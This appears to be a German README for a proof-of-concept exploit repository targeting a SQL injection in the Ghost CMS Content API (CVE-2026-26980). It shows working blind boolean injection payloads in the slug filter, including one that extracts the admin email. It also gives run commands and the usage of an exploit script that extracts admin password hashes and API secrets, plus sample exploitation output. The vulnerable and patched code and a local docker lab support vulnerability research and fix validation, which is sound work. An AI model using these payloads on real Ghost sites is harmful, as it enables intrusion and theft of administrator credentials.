// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VERWUNDBAR)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL übergibt Anführungszeichen als Literalzeichen

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

// BEHOBEN
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

# Repository klonen und betreten
git clone <this-repo> && cd ghost-cve-2026-26980

# Python-Abhängigkeit installieren
pip install -r requirements.txt

# Verwundbare Ghost-Instanz starten (6.18.0 + MySQL 8)
docker compose up -d

# ~45 Sekunden warten, bis Ghost initialisiert ist, dann den Exploit ausführen
python3 exploit.py --url http://localhost:2368

# Zusätzlich die gepatchte Ghost 6.19.1 auf Port 2369 starten
docker compose --profile fixed up -d

# ~45 Sekunden warten, dann bestätigen, dass der Fix die Injection blockiert
python3 exploit.py --url http://localhost:2369 --validate-fix

bash validate.sh

docker compose --profile fixed down -v

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost-URL (Standard: http://localhost:2368)
  --validate-fix       Bestätigen, dass das Ziel NICHT verwundbar ist
  --extract-password   Zusätzlich den Admin-bcrypt-Hash extrahieren
  --extract-api-key    Zusätzlich das Admin-API-Geheimnis extrahieren
  --content-key KEY    Setup überspringen, diesen Content-API-Schlüssel direkt verwenden
  -v, --verbose        Orakelergebnisse pro Abfrage anzeigen

====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Warte auf Ghost unter http://localhost:2368 bereit
[*] Ghost einrichten (admin: [email protected])
[+] Setup abgeschlossen — Sitzung wird hergestellt
[+] Angemeldet
[+] Content-API-Schlüssel: ad63c06a71457583ea58f050c1
[+] Anker-Slug: news

[*] Phase 1 — boolesche Blind-Verifikation
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Boolesches Orakel bestätigt — VERWUNDBAR

[*] Phase 2a — Admin-E-Mail extrahieren
  Länge der Admin-E-Mail messen... 21 Zeichen
  Extrahiere: [email protected]
  [+] E-Mail: [email protected]

============================================================
  EXPLOITATION-ZUSAMMENFASSUNG
============================================================
  Ziel:          http://localhost:2368
  CVE:           CVE-2026-26980
  Content-Schlüssel:   ad63c06a71457583ea58f050c1
  Admin-E-Mail:   [email protected]
============================================================

.
├── README.md              # Diese Datei
├── docker-compose.yml     # Ghost 6.18.0 (verwundbar) + 6.19.1 (behoben) mit MySQL 8
├── exploit.py             # Vollständiger PoC: Setup, Verifikation, Extraktion
├── validate.sh            # End-to-End-Validierungs-Wrapper
└── requirements.txt       # Python-Abhängigkeiten